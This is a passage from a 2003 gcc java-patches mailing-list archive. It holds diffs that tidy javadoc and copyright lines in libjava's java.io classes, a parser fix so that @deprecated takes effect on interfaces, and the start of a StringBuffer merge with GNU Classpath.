          + * The method in this interface determines if a particular pathname should + * or should not be included in the pathname listing. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + */ public interface FileFilter { /** - * This method determines whether or not a given pathname should be included - * in a pathname listing. - * - * @param pathname The pathname to test - * - * @return true if the path should be included in the list, - * false otherwise. - */ + * This method determines whether or not a given pathname should be included + * in a pathname listing. + * + * @param pathname The pathname to test + * + * @return true if the path should be included in the list, + * false otherwise. + */ public abstract boolean accept(File pathname); } // interface FileFilter Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.11 diff -u -r1.11 FileInputStream.java --- java/io/FileInputStream.java 20 Mar 2003 07:54:24 -0000 1.11 +++ java/io/FileInputStream.java 23 Mar 2003 18:32:03 -0000 @@ -1,5 +1,5 @@ /* FileInputStream.java -- An input stream that reads from disk files. - Copyright (C) 1998, 1999, 2001, 2002, 2003 Free Software Foundation, Inc. + Copyright (C) 1998, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.8 diff -u -r1.8 FileOutputStream.java --- java/io/FileOutputStream.java 20 Mar 2003 07:54:24 -0000 1.8 +++ java/io/FileOutputStream.java 23 Mar 2003 18:32:03 -0000 @@ -1,5 +1,5 @@ /* FileOutputStream.java -- Writes to a file on disk. - Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. + Copyright (C) 1998, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/FilePermission.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilePermission.java,v retrieving revision 1.5 diff -u -r1.5 FilePermission.java --- java/io/FilePermission.java 18 Mar 2003 06:00:25 -0000 1.5 +++ java/io/FilePermission.java 23 Mar 2003 18:32:03 -0000 @@ -93,7 +93,7 @@ ** permission represents. ** @param actionsString a comma-separated list of the actions this ** permission represents. - ** @XXX what to do when the file string is malformed? + ** FIXME: what to do when the file string is malformed? **/ public FilePermission(String pathExpression, String actionsString) { Index: java/io/FileWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileWriter.java,v retrieving revision 1.7 diff -u -r1.7 FileWriter.java --- java/io/FileWriter.java 19 Mar 2003 12:13:41 -0000 1.7 +++ java/io/FileWriter.java 23 Mar 2003 18:32:03 -0000 @@ -54,8 +54,6 @@ public class FileWriter extends OutputStreamWriter { - /*************************************************************************/ - /* * Constructors */ @@ -75,8 +73,6 @@ super(new FileOutputStream(file)); } - /*************************************************************************/ - /** * This method initializes a new FileWriter object to write * to the specified File object. @@ -94,8 +90,6 @@ super(new FileOutputStream(file, append)); } - /*************************************************************************/ - /** * This method initializes a new FileWriter object to write * to the specified FileDescriptor object. @@ -110,8 +104,6 @@ super(new FileOutputStream(fd)); } - /*************************************************************************/ - /** * This method intializes a new FileWriter object to * write to the @@ -127,8 +119,6 @@ { super(new FileOutputStream(name)); } - - /*************************************************************************/ /** * This method intializes a new FileWriter object to Index: java/io/FilenameFilter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilenameFilter.java,v retrieving revision 1.6 diff -u -r1.6 FilenameFilter.java --- java/io/FilenameFilter.java 18 Mar 2003 06:00:25 -0000 1.6 +++ java/io/FilenameFilter.java 23 Mar 2003 18:32:03 -0000 @@ -44,29 +44,29 @@ */ /** - * This interface has one method which is used for filtering filenames - * returned in a directory listing. It is currently used by the - * File.list() method and by the filename dialog in AWT. - *

          - * The method in this interface determines if a particular file should - * or should not be included in the file listing. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - * @author Tom Tromey - */ + * This interface has one method which is used for filtering filenames + * returned in a directory listing. It is currently used by the + * File.list() method and by the filename dialog in AWT. + *

          + * The method in this interface determines if a particular file should + * or should not be included in the file listing. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + * @author Tom Tromey + */ public interface FilenameFilter { /** - * This method determines whether or not a given file should be included - * in a directory listing. - * - * @param dir The File instance for the directory being read - * @param name The name of the file to test - * - * @return true if the file should be included in the list, - * false otherwise. - */ + * This method determines whether or not a given file should be included + * in a directory listing. + * + * @param dir The File instance for the directory being read + * @param name The name of the file to test + * + * @return true if the file should be included in the list, + * false otherwise. + */ boolean accept(File dir, String name); } // interface FilenameFilter Index: java/io/FilterInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilterInputStream.java,v retrieving revision 1.6 diff -u -r1.6 FilterInputStream.java --- java/io/FilterInputStream.java 18 Mar 2003 06:00:25 -0000 1.6 +++ java/io/FilterInputStream.java 23 Mar 2003 18:32:03 -0000 @@ -69,25 +69,12 @@ */ public class FilterInputStream extends InputStream { - - /*************************************************************************/ - - /* - * Instance Variables - */ - /** * This is the subordinate InputStream to which method calls * are redirected */ protected InputStream in; - /*************************************************************************/ - - /* - * Constructors - */ - /** * Create a FilterInputStream with the specified subordinate * InputStream. @@ -99,12 +86,6 @@ this.in = in; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** * Calls the in.mark(int) method. * @@ -115,8 +96,6 @@ in.mark(readlimit); } - /*************************************************************************/ - /** * Calls the in.markSupported() method. * @@ -128,8 +107,6 @@ return(in.markSupported()); } - /*************************************************************************/ - /** * Calls the in.reset() method. * @@ -140,8 +117,6 @@ in.reset(); } - /*************************************************************************/ - /** * Calls the in.available() method. * @@ -154,8 +129,6 @@ return(in.available()); } - /*************************************************************************/ - /** * Calls the in.skip(long) method * @@ -170,8 +143,6 @@ return(in.skip(num_bytes)); } - /*************************************************************************/ - /** * Calls the in.read() method * @@ -184,8 +155,6 @@ return(in.read()); } - /*************************************************************************/ - /** * Calls the read(byte[], int, int) overloaded method. * Note that @@ -204,8 +173,6 @@ return(read(buf, 0, buf.length)); } - /*************************************************************************/ - /** * Calls the in.read(byte[], int, int) method. * @@ -221,8 +188,6 @@ { return(in.read(buf, offset, len)); } - - /*************************************************************************/ /** * This method closes the input stream by closing the input stream that Index: java/io/FilterOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilterOutputStream.java,v retrieving revision 1.7 diff -u -r1.7 FilterOutputStream.java --- java/io/FilterOutputStream.java 18 Mar 2003 06:00:25 -0000 1.7 +++ java/io/FilterOutputStream.java 23 Mar 2003 18:32:03 -0000 @@ -56,25 +56,12 @@ */ public class FilterOutputStream extends OutputStream { - - /*************************************************************************/ - - /* - * Instance Variables - */ - /** * This is the subordinate OutputStream that this class * redirects its method calls to. */ protected OutputStream out; - /*************************************************************************/ - - /* - * Constructors - */ - /** * This method initializes an instance of FilterOutputStream * to write to the specified subordinate OutputStream. @@ -86,12 +73,6 @@ this.out = out; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** * This method closes the underlying OutputStream. Any * further attempts to write to this stream may throw an exception. @@ -104,8 +85,6 @@ out.close(); } - /*************************************************************************/ - /** * This method attempt to flush all buffered output to be written to the * underlying output sink. @@ -117,8 +96,6 @@ out.flush(); } - /*************************************************************************/ - /** * This method writes a single byte of output to the underlying * OutputStream. @@ -132,8 +109,6 @@ out.write(b); } - /*************************************************************************/ - /** * This method writes all the bytes in the specified array to the underlying * OutputStream. It does this by calling the three parameter @@ -150,8 +125,6 @@ // Don't do checking here, per Java Lang Spec. write(buf, 0, buf.length); } - - /*************************************************************************/ /** * This method calls the write(int) method len Index: java/io/FilterReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilterReader.java,v retrieving revision 1.7 diff -u -r1.7 FilterReader.java --- java/io/FilterReader.java 18 Mar 2003 06:00:25 -0000 1.7 +++ java/io/FilterReader.java 23 Mar 2003 18:32:03 -0000 @@ -63,22 +63,12 @@ */ public abstract class FilterReader extends Reader { - /* - * Instance Variables - */ - /** * This is the subordinate Reader to which method calls * are redirected */ protected Reader in; - /*************************************************************************/ - - /* - * Constructors - */ - /** * Create a FilterReader with the specified subordinate * Reader. @@ -93,12 +83,6 @@ this.in = in; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** * Calls the in.mark(int) method. * @@ -111,8 +95,6 @@ in.mark(readlimit); } - /*************************************************************************/ - /** * Calls the in.markSupported() method. * @@ -124,8 +106,6 @@ return(in.markSupported()); } - /*************************************************************************/ - /** * Calls the in.reset() method. * @@ -136,8 +116,6 @@ in.reset(); } - /*************************************************************************/ - /** * Calls the in.read() method. * @@ -150,8 +128,6 @@ return(in.ready()); } - /*************************************************************************/ - /** * Calls the in.skip(long) method * @@ -166,8 +142,6 @@ return(in.skip(num_chars)); } - /*************************************************************************/ - /** * Calls the in.read() method * @@ -180,8 +154,6 @@ return(in.read()); } - /*************************************************************************/ - /** * Calls the in.read(char[], int, int) method. * @@ -197,8 +169,6 @@ { return(in.read(buf, offset, len)); } - - /*************************************************************************/ /** * This method closes the stream by calling the close() method Index: java/io/FilterWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FilterWriter.java,v retrieving revision 1.7 diff -u -r1.7 FilterWriter.java --- java/io/FilterWriter.java 18 Mar 2003 06:00:25 -0000 1.7 +++ java/io/FilterWriter.java 23 Mar 2003 18:32:03 -0000 @@ -56,22 +56,12 @@ */ public abstract class FilterWriter extends Writer { - /* - * Instance Variables - */ - /** * This is the subordinate Writer that this class * redirects its method calls to. */ protected Writer out; - /*************************************************************************/ - - /* - * Constructors - */ - /** * This method initializes an instance of FilterWriter * to write to the specified subordinate Writer. @@ -86,12 +76,6 @@ this.out = out; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** * This method closes the underlying Writer. Any * further attempts to write to this stream may throw an exception. @@ -103,8 +87,6 @@ out.close(); } - /*************************************************************************/ - /** * This method attempt to flush all buffered output to be written to the * underlying output sink. @@ -116,8 +98,6 @@ out.flush(); } - /*************************************************************************/ - /** * This method writes a single char of output to the underlying * Writer. @@ -131,8 +111,6 @@ out.write(b); } - /*************************************************************************/ - /** * This method writes len chars from the array buf * starting at index offset to the underlying @@ -148,8 +126,6 @@ { out.write(buf, offset, len); } - - /*************************************************************************/ /** * This method writes len chars from the String Index: java/io/LineNumberInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/LineNumberInputStream.java,v retrieving revision 1.4 diff -u -r1.4 LineNumberInputStream.java --- java/io/LineNumberInputStream.java 17 Jun 2002 03:52:24 -0000 1.4 +++ java/io/LineNumberInputStream.java 23 Mar 2003 18:32:08 -0000 @@ -57,7 +57,7 @@ * stream, it has the same mark/reset functionality as the underlying * stream. The mark() and reset() methods * in this class handle line numbers correctly. Calling - * @code{reset()} resets the line number to the point at which + * reset() resets the line number to the point at which * mark() was called if the subordinate stream supports * that functionality. *

          @@ -119,7 +119,7 @@ /** * This method returns the current line number * - * @returns The current line number + * @return The current line number */ public int getLineNumber() { Index: java/io/ObjectInput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectInput.java,v retrieving revision 1.4 diff -u -r1.4 ObjectInput.java --- java/io/ObjectInput.java 18 Mar 2003 06:00:25 -0000 1.4 +++ java/io/ObjectInput.java 23 Mar 2003 18:32:08 -0000 @@ -58,8 +58,6 @@ */ public abstract int available() throws IOException; - /*************************************************************************/ - /** * This method reading a byte of data from a stream. It returns that byte * as an int. This method blocks if no data is available to be read. @@ -70,8 +68,6 @@ */ public abstract int read() throws IOException; - /*************************************************************************/ - /** * This method reads raw bytes and stores them them a byte array buffer. * Note that this method will block if no data is available. However, @@ -86,8 +82,6 @@ */ public abstract int read(byte[] buf) throws IOException; - /*************************************************************************/ - /** * This method reads raw bytes and stores them in a byte array buffer * buf starting at position offset into the @@ -107,8 +101,6 @@ */ public abstract int read(byte[] buf, int offset, int len) throws IOException; - /*************************************************************************/ - /** * Reads an object instance and returns it. If the class for the object * being read cannot be found, then a ClassNotFoundException will @@ -123,8 +115,6 @@ public abstract Object readObject() throws ClassNotFoundException, IOException; - /*************************************************************************/ - /** * This method causes the specified number of bytes to be read and * discarded. It is possible that fewer than the requested number of bytes @@ -137,8 +127,6 @@ * @exception IOException If an error occurs */ public abstract long skip(long num_bytes) throws IOException; - - /*************************************************************************/ /** * This method closes the input source Index: java/io/ObjectOutput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutput.java,v retrieving revision 1.4 diff -u -r1.4 ObjectOutput.java --- java/io/ObjectOutput.java 18 Mar 2003 06:00:25 -0000 1.4 +++ java/io/ObjectOutput.java 23 Mar 2003 18:32:08 -0000 @@ -58,8 +58,6 @@ */ public abstract void write(int b) throws IOException; - /*************************************************************************/ - /** * This method writes all the bytes in the specified byte array to the * output stream. @@ -70,8 +68,6 @@ */ public abstract void write(byte[] buf) throws IOException; - /*************************************************************************/ - /** * This method writes len bytes from the specified array * starting at index offset into that array. @@ -85,8 +81,6 @@ public abstract void write(byte[] buf, int offset, int len) throws IOException; - /*************************************************************************/ - /** * This method writes a object instance to a stream. The format of the * data written is determined by the actual implementation of this method @@ -97,8 +91,6 @@ */ public abstract void writeObject(Object obj) throws IOException; - /*************************************************************************/ - /** * This method causes any buffered data to be flushed out to the underlying * stream @@ -106,8 +98,6 @@ * @exception IOException If an error occurs */ public abstract void flush() throws IOException; - - /*************************************************************************/ /** * This method closes the underlying stream. Index: java/io/ObjectStreamClass.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectStreamClass.java,v retrieving revision 1.12 diff -u -r1.12 ObjectStreamClass.java --- java/io/ObjectStreamClass.java 14 Mar 2003 11:54:38 -0000 1.12 +++ java/io/ObjectStreamClass.java 23 Mar 2003 18:32:08 -0000 @@ -166,14 +166,14 @@ /** - Returns a textual representation of this - ObjectStreamClass object including the name of the - class it represents as well as that class's serial version - stream-unique identifier. - - @see getSerialVersionUID () - @see getName () - */ + * Returns a textual representation of this + * ObjectStreamClass object including the name of the + * class it represents as well as that class's serial version + * stream-unique identifier. + * + * @see #getSerialVersionUID() + * @see #getName() + */ public String toString () { return "java.io.ObjectStreamClass< " + name + ", " + uid + " >"; Index: java/io/PrintStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PrintStream.java,v retrieving revision 1.11 diff -u -r1.11 PrintStream.java --- java/io/PrintStream.java 20 Mar 2003 07:47:01 -0000 1.11 +++ java/io/PrintStream.java 23 Mar 2003 18:32:08 -0000 @@ -1,5 +1,5 @@ /* PrintStream.java -- OutputStream for printing output - Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. + Copyright (C) 1998,2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/PushbackReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PushbackReader.java,v retrieving revision 1.9 diff -u -r1.9 PushbackReader.java --- java/io/PushbackReader.java 18 Mar 2003 06:00:25 -0000 1.9 +++ java/io/PushbackReader.java 23 Mar 2003 18:32:08 -0000 @@ -77,7 +77,7 @@ * specified subordinate Reader with a default pushback buffer * size of 1. * - * @code in The subordinate stream to read from + * @param in The subordinate stream to read from */ public PushbackReader(Reader in) { Index: java/io/SerializablePermission.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/SerializablePermission.java,v retrieving revision 1.5 diff -u -r1.5 SerializablePermission.java --- java/io/SerializablePermission.java 18 Mar 2003 06:00:25 -0000 1.5 +++ java/io/SerializablePermission.java 23 Mar 2003 18:32:08 -0000 @@ -67,8 +67,6 @@ private static final String[] legal_names = { "enableSubclassImplementation", "enableSubstitution" }; - /*************************************************************************/ - /* * Constructors */ @@ -87,8 +85,6 @@ { this(name, null); } - - /*************************************************************************/ /** * This method initializes a new instance of Index: java/io/StreamTokenizer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/StreamTokenizer.java,v retrieving revision 1.12 diff -u -r1.12 StreamTokenizer.java --- java/io/StreamTokenizer.java 16 Jul 2002 21:08:25 -0000 1.12 +++ java/io/StreamTokenizer.java 23 Mar 2003 18:32:08 -0000 @@ -580,7 +580,7 @@ * quote, and comment) from all characters. It is equivalent to calling * ordinaryChars(0x00, 0xFF). * - * @see ordinaryChars + * @see #ordinaryChars(int, int) */ public void resetSyntax() { --Boundary-00=_wZgf+oCJ0fEsdyu-- From java-patches-return-6568-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 23 19:54:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13776 invoked by alias); 23 Mar 2003 19:54:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13764 invoked from network); 23 Mar 2003 19:54:38 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by sources.redhat.com with SMTP; 23 Mar 2003 19:54:38 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18xBXH-0002VK-00; Sun, 23 Mar 2003 14:53:39 -0500 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA24124; Sun, 23 Mar 2003 12:40:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A69A34F8610; Sun, 23 Mar 2003 12:36:35 -0700 (MST) To: GCC libjava patches Cc: Gcc Patch List Subject: Patch: Another deprecation fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I guess you guys got BIG MUSCLES from doing too much STUDYING! Date: 23 Mar 2003 12:36:35 -0700 Message-ID: <87ptoh6fjw.fsf@fleche.redhat.com> Lines: 29 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Today I discovered that the @deprecated tag doesn't take effect on an interface. For instance, see java.security.Certificate. The appended patch fixes the problem. Ok for trunk? Tom Index: gcc/java/ChangeLog from Tom Tromey * parse.y (create_interface): Call CHECK_DEPRECATED. Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.426 diff -u -r1.426 parse.y --- gcc/java/parse.y 13 Mar 2003 18:35:01 -0000 1.426 +++ gcc/java/parse.y 23 Mar 2003 19:38:22 -0000 @@ -3831,6 +3831,9 @@ CLASS_COMPLETE_P (decl) = 1; add_superinterfaces (decl, super); + /* Eventually sets the @deprecated tag flag */ + CHECK_DEPRECATED (decl); + return decl; } From java-patches-return-6569-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 00:49:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4142 invoked by alias); 24 Mar 2003 00:49:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4135 invoked from network); 24 Mar 2003 00:49:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 24 Mar 2003 00:49:26 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA05456; Sun, 23 Mar 2003 17:49:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AD2554F8610; Sun, 23 Mar 2003 17:45:37 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: StringBuffer merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: You must be a CUB SCOUT!! Have you made your MONEY-DROP today?? Date: 23 Mar 2003 17:45:36 -0700 Message-ID: <878yv5618v.fsf@fleche.redhat.com> Lines: 1446 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This is a StringBuffer merge done by Eric Blake last year. I updated it (by using the StringBuffer currently in Classpath). Tested on x86 Red Hat Linux 7.3 against Mauve. Tom Index: ChangeLog from Eric Blake * java/lang/natStringBuffer.cc (regionMatches): New function. * java/lang/String.java (count): Now package-private. * java/lang/StringBuffer.java: Merged with Classpath. Index: java/lang/String.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/String.java,v retrieving revision 1.18 diff -u -r1.18 String.java --- java/lang/String.java 13 Jun 2002 18:16:26 -0000 1.18 +++ java/lang/String.java 24 Mar 2003 00:47:48 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -26,7 +26,7 @@ { private Object data; private int boffset; // Note this is a byte offset - don't use in Java code! - private int count; + int count; // This is probably not necessary because this class is special cased already // but it will avoid showing up as a discrepancy when comparing SUIDs. Index: java/lang/StringBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/StringBuffer.java,v retrieving revision 1.14 diff -u -r1.14 StringBuffer.java --- java/lang/StringBuffer.java 30 Dec 2002 07:16:59 -0000 1.14 +++ java/lang/StringBuffer.java 24 Mar 2003 00:47:48 -0000 @@ -1,5 +1,5 @@ /* StringBuffer.java -- Growable strings - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -7,7 +7,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. - + GNU Classpath is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU @@ -36,276 +36,194 @@ exception statement from your version. */ package java.lang; -import java.io.Serializable; -/* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 - * Updated using online JDK 1.2 docs. - * Believed complete and correct to JDK 1.2. - * Merged with Classpath. - */ +import java.io.Serializable; /** * StringBuffer represents a changeable String. * It provides the operations required to modify the - * StringBuffer including insert, replace, delete, append, - * and reverse. - *

          + * StringBuffer, including insert, replace, delete, append, + * and reverse. It is thread-safe; meaning that all modifications to a buffer + * are in synchronized methods. * - * StringBuffers are variable-length in nature, so even if + *

          StringBuffers are variable-length in nature, so even if * you initialize them to a certain size, they can still grow larger than - * that. Capacity indicates the number of characters the + * that. Capacity indicates the number of characters the * StringBuffer can have in it before it has to grow (growing * the char array is an expensive operation involving new). - *

          * - * Incidentally, the String operator "+" actually is turned into a - * StringBuffer operation: - *
          - * a + b - *
          - * is the same as - *
          - * new StringBuffer(a).append(b).toString(). + *

          Incidentally, compilers often implement the String operator "+" + * by using a StringBuffer operation:
          + * a + b
          + * is the same as
          + * new StringBuffer().append(a).append(b).toString(). * - * @implnote Classpath's StringBuffer is capable of sharing memory with - * Strings for efficiency. This will help in two instances: - * first, when a StringBuffer is created from a String but is - * never changed, and second, when a StringBuffer is converted - * to a String and the StringBuffer is not changed after that. + *

          Classpath's StringBuffer is capable of sharing memory with Strings for + * efficiency. This will help when a StringBuffer is converted to a String + * and the StringBuffer is not changed after that (quite common when performing + * string concatenation). * - * @since JDK1.0 * @author Paul Fisher * @author John Keiser * @author Tom Tromey - * @see java.lang.String + * @author Eric Blake + * @see String + * @since 1.0 + * @status updated to 1.4 */ public final class StringBuffer implements Serializable, CharSequence { - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param bool the boolean to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(boolean) + /** + * Compatible with JDK 1.0+. */ - public StringBuffer append (boolean bool) - { - return append (String.valueOf(bool)); - } + private static final long serialVersionUID = 3388685877147921107L; - /** Append the char to this StringBuffer. - * @param c the char to append. - * @return this StringBuffer. + /** + * Index of next available character (and thus the size of the current + * string contents). Note that this has permissions set this way so that + * String can get the value. + * + * @serial the number of characters in the buffer */ - public synchronized StringBuffer append (char ch) - { - ensureCapacity_unsynchronized (count + 1); - value[count++] = ch; - return this; - } + int count; - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param inum the int to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(int) + /** + * The buffer. Note that this has permissions set this way so that String + * can get the value. + * + * @serial the buffer */ - public native StringBuffer append (int inum); + char[] value; - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param lnum the long to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(long) + /** + * True if the buffer is shared with another object (StringBuffer or + * String); this means the buffer must be copied before writing to it again. + * Note that this has permissions set this way so that String can get the + * value. + * + * @serial whether the buffer is shared */ - public StringBuffer append (long lnum) - { - return append (String.valueOf(lnum)); - } + boolean shared; - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param fnum the float to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(float) + /** + * The default capacity of a buffer. */ - public StringBuffer append (float fnum) - { - return append (String.valueOf(fnum)); - } + private final static int DEFAULT_CAPACITY = 16; - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param dnum the double to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(double) + /** + * Create a new StringBuffer with default capacity 16. */ - public StringBuffer append (double dnum) + public StringBuffer() { - return append (String.valueOf(dnum)); + this(DEFAULT_CAPACITY); } - /** Append the String value of the argument to this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param obj the Object to convert and append. - * @return this StringBuffer. - * @see java.lang.String#valueOf(java.lang.Object) + /** + * Create an empty StringBuffer with the specified initial + * capacity. + * + * @param capacity the initial capacity + * @throws NegativeArraySizeException if capacity is negative */ - public StringBuffer append (Object obj) + public StringBuffer(int capacity) { - return append (String.valueOf(obj)); + value = new char[capacity]; } - /** Append the String to this StringBuffer. - * @param str the String to append. - * @return this StringBuffer. + /** + * Create a new StringBuffer with the characters in the + * specified String. Initial capacity will be the size of the + * String plus 16. + * + * @param str the String to convert + * @throws NullPointerException if str is null */ - public synchronized StringBuffer append (String str) + public StringBuffer(String str) { - if (str == null) - str = "null"; - int len = str.length(); - ensureCapacity_unsynchronized (count + len); - str.getChars(0, len, value, count); - count += len; - return this; + // Unfortunately, because the size is 16 larger, we cannot share. + count = str.count; + value = new char[count + DEFAULT_CAPACITY]; + str.getChars(0, count, value, 0); } - /** Append the char array to this StringBuffer. - * @param data the char[] to append. - * @return this StringBuffer. - * @exception NullPointerException if str is null. + /** + * Get the length of the String this StringBuffer + * would create. Not to be confused with the capacity of the + * StringBuffer. + * + * @return the length of this StringBuffer + * @see #capacity() + * @see #setLength(int) */ - public StringBuffer append (char[] data) + public synchronized int length() { - return append (data, 0, data.length); + return count; } - /** Append the char array to this StringBuffer. - * @param data the char[] to append. - * @param offset the place to start grabbing characters from - * str. - * @param count the number of characters to get from str. - * @return this StringBuffer. - * @exception NullPointerException if str is null. - * @exception IndexOutOfBoundsException if offset or - * offset+len is out of range. - */ - public synchronized StringBuffer append (char[] data, int offset, int count) - { - ensureCapacity_unsynchronized (this.count + count); - System.arraycopy(data, offset, value, this.count, count); - this.count += count; - return this; - } - - /** Get the total number of characters this StringBuffer - * can support before it must be grown. Not to be confused with - * length. - * @return the capacity of this StringBuffer - * @see #length() - * @see #ensureCapacity(int) + /** + * Get the total number of characters this StringBuffer can + * support before it must be grown. Not to be confused with length. + * + * @return the capacity of this StringBuffer + * @see #length() + * @see #ensureCapacity(int) */ - public int capacity () + public synchronized int capacity() { return value.length; } - /** Get the character at the specified index. - * @param index the index of the character to get, starting at 0. - * @return the character at the specified index. - * @exception IndexOutOfBoundsException if the desired character index - * is negative or greater then length() - 1. + /** + * Increase the capacity of this StringBuffer. This will + * ensure that an expensive growing operation will not occur until + * minimumCapacity is reached. The buffer is grown to the + * larger of minimumCapacity and + * capacity() * 2 + 2, if it is not already large enough. + * + * @param minimumCapacity the new capacity + * @see #capacity() */ - public synchronized char charAt (int index) + public synchronized void ensureCapacity(int minimumCapacity) { - if (index >= count) - throw new StringIndexOutOfBoundsException (index); - return value[index]; + ensureCapacity_unsynchronized(minimumCapacity); } - /** Delete characters from this StringBuffer. - * delete(10, 12) will delete 10 and 11, but not 12. - * @param start the first character to delete. - * @param end the index after the last character to delete. - * @return this StringBuffer. - * @exception StringIndexOutOfBoundsException if start - * or end-1 are out of bounds, or if - * start > end. + /** + * Set the length of this StringBuffer. If the new length is greater than + * the current length, all the new characters are set to '\0'. If the new + * length is less than the current length, the first newLength + * characters of the old array will be preserved, and the remaining + * characters are truncated. + * + * @param newLength the new length + * @throws IndexOutOfBoundsException if the new length is negative + * (while unspecified, this is a StringIndexOutOfBoundsException) + * @see #length() */ - public synchronized StringBuffer delete (int start, int end) + public synchronized void setLength(int newLength) { - if (start < 0 || start > count || start > end) - throw new StringIndexOutOfBoundsException (start); - if (end > count) - end = count; - // This will unshare if required. - ensureCapacity_unsynchronized (count); - if (count - end != 0) - System.arraycopy (value, end, value, start, count - end); - count -= (end - start); - return this; - } + if (newLength < 0) + throw new StringIndexOutOfBoundsException(newLength); - /** Delete a character from this StringBuffer. - * @param index the index of the character to delete. - * @return this StringBuffer. - * @exception StringIndexOutOfBoundsException if index - * is out of bounds. - */ - public StringBuffer deleteCharAt(int index) - { - return delete (index, index + 1); + ensureCapacity_unsynchronized(newLength); + while (count < newLength) + value[count++] = '\0'; + count = newLength; } - /** Increase the capacity of this StringBuffer. - * This will ensure that an expensive growing operation will not occur - * until minimumCapacity is reached. - * If the capacity is actually already greater than minimumCapacity - * @param minimumCapacity the new capacity. - * @see #capacity() + /** + 